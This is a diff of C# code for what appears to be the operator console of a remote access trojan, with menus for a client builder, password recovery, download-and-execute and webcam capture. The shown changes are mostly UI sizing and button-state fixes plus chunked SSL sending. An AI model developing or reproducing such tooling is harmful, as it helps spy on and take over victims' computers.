this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1"; this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.shutdownToolStripMenuItem1.Text = "Shutdown"; this.shutdownToolStripMenuItem1.Text = "Shutdown";
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click); this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
// //
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(195, 6); this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6);
// //
// bUILDERToolStripMenuItem // bUILDERToolStripMenuItem
// //
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
// //
@ -733,18 +735,18 @@
// //
// contextMenuThumbnail // contextMenuThumbnail
// //
this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(20, 20); this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.sTARTToolStripMenuItem, this.sTARTToolStripMenuItem,
this.sTOPToolStripMenuItem}); this.sTOPToolStripMenuItem});
this.contextMenuThumbnail.Name = "contextMenuStrip2"; this.contextMenuThumbnail.Name = "contextMenuStrip2";
this.contextMenuThumbnail.Size = new System.Drawing.Size(140, 68); this.contextMenuThumbnail.Size = new System.Drawing.Size(144, 68);
// //
// sTARTToolStripMenuItem // sTARTToolStripMenuItem
// //
this.sTARTToolStripMenuItem.Image = global::Server.Properties.Resources.play_button; this.sTARTToolStripMenuItem.Image = global::Server.Properties.Resources.play_button;
this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem"; this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem";
this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(139, 32); this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(143, 32);
this.sTARTToolStripMenuItem.Text = "START"; this.sTARTToolStripMenuItem.Text = "START";
this.sTARTToolStripMenuItem.Click += new System.EventHandler(this.STARTToolStripMenuItem_Click); this.sTARTToolStripMenuItem.Click += new System.EventHandler(this.STARTToolStripMenuItem_Click);
// //
@ -752,7 +754,7 @@
// //
this.sTOPToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_; this.sTOPToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_;
this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem"; this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem";
this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(139, 32); this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(143, 32);
this.sTOPToolStripMenuItem.Text = "STOP"; this.sTOPToolStripMenuItem.Text = "STOP";
this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click); this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click);
// //
@ -801,7 +803,7 @@
// //
// contextMenuTasks // contextMenuTasks
// //
this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(20, 20); this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.pASSWORDRECOVERYToolStripMenuItem, this.pASSWORDRECOVERYToolStripMenuItem,
this.downloadAndExecuteToolStripMenuItem, this.downloadAndExecuteToolStripMenuItem,

View File

@ -75,23 +75,31 @@ namespace Server.Forms
byte[] msg = (byte[])obj; byte[] msg = (byte[])obj;
byte[] buffersize = BitConverter.GetBytes(msg.Length); byte[] buffersize = BitConverter.GetBytes(msg.Length);
Client.TcpClient.Poll(-1, SelectMode.SelectWrite); Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
Client.SslClient.Write(buffersize); Client.SslClient.Write(buffersize, 0, buffersize.Length);
Client.SslClient.Flush();
int chunkSize = 50 * 1024; if (msg.Length > 1000000) //1mb
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
int bytesToRead = (int)buffereReader.Length; int chunkSize = 50 * 1024;
do byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
chunk = binaryReader.ReadBytes(chunkSize); int bytesToRead = (int)buffereReader.Length;
bytesToRead -= chunkSize; do
Client.SslClient.Write(chunk); {
Client.SslClient.Flush(); chunk = binaryReader.ReadBytes(chunkSize);
BytesSent += chunk.Length; bytesToRead -= chunkSize;
} while (bytesToRead > 0); Client.SslClient.Write(chunk, 0, chunk.Length);
Client?.Disconnected(); Client.SslClient.Flush();
BytesSent += chunk.Length;
} while (bytesToRead > 0);
Client?.Disconnected();
}
}
else
{
Client.SslClient.Write(msg, 0, msg.Length);
Client.SslClient.Flush();
} }
Program.form1.BeginInvoke((MethodInvoker)(() => Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {

View File

@ -90,6 +90,8 @@ namespace Server.Forms
ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
numericUpDown1.Enabled = false; numericUpDown1.Enabled = false;
numericUpDown2.Enabled = false; numericUpDown2.Enabled = false;
btnSave.Enabled = true;
btnMouse.Enabled = true;
button1.Tag = (object)"stop"; button1.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_; button1.BackgroundImage = Properties.Resources.stop__1_;
} }
@ -104,6 +106,8 @@ namespace Server.Forms
catch { } catch { }
numericUpDown1.Enabled = true; numericUpDown1.Enabled = true;
numericUpDown2.Enabled = true; numericUpDown2.Enabled = true;
btnSave.Enabled = false;
btnMouse.Enabled = false;
button1.BackgroundImage = Properties.Resources.play_button; button1.BackgroundImage = Properties.Resources.play_button;
} }
} }

View File

@ -48,6 +48,7 @@ namespace Server.Forms
button1.BackgroundImage = Properties.Resources.stop__1_; button1.BackgroundImage = Properties.Resources.stop__1_;
numericUpDown1.Enabled = false; numericUpDown1.Enabled = false;
comboBox1.Enabled = false; comboBox1.Enabled = false;
btnSave.Enabled = true;
} }
else else
{ {
@ -60,6 +61,7 @@ namespace Server.Forms
btnSave.BackgroundImage = Properties.Resources.save_image; btnSave.BackgroundImage = Properties.Resources.save_image;
numericUpDown1.Enabled = true; numericUpDown1.Enabled = true;
comboBox1.Enabled = true; comboBox1.Enabled = true;
btnSave.Enabled = false;
timerSave.Stop(); timerSave.Stop();
} }
} }

View File

@ -37,18 +37,16 @@ namespace Server.Handle_Packet
webcam.comboBox1.Items.Add(camDriver); webcam.comboBox1.Items.Add(camDriver);
} }
webcam.comboBox1.SelectedIndex = 0; webcam.comboBox1.SelectedIndex = 0;
webcam.labelWait.Visible = false; if (webcam.comboBox1.Text == "None")
if (webcam.comboBox1.Text != "None")
{
webcam.comboBox1.Enabled = true;
webcam.button1.Enabled = true;
webcam.btnSave.Enabled = true;
webcam.numericUpDown1.Enabled = true;
}
else
{ {
client.Disconnected(); client.Disconnected();
} }
webcam.comboBox1.Enabled = true;
webcam.button1.Enabled = true;
webcam.btnSave.Enabled = true;
webcam.numericUpDown1.Enabled = true;
webcam.labelWait.Visible = false;
webcam.button1.PerformClick();
} }
else else
{ {